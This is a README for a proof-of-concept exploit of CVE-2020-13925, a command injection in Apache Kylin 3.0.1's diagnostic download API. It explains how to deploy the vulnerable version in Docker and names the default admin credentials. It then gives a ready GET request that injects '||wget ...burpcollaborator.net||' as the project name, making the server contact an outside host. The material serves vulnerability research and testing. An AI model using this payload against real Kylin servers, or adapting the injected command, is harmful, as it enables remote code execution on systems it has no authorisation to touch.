bit4woo/cve-2020-13925Proof-of-concept exploit for CVE-2020-13925, a command injection vulnerability in Apache Kylin's diagnostic API, allowing remote code execution via crafted project names.
Refer to https://github.com/apache/kylin to deploy using Docker, and change the version to 3.0.1 (the vulnerable version). You can remove -m 8G \ (it controls the allocated memory size).
Then visit http://host:7070/kylin/login. The default username and password are ADMIN/KYLIN.
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
Original request:
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC request, GET method:
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
That is, replace the project name "learn_kylin" with the following payload:
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
Go to System → Configuration → Diagnosis. Trigger the request to download diagnostic information at http://host:port/kylin/api/diag/project/learn_kylin/download
Then replace the project name "learn_kylin" with the above payload and access the URL.
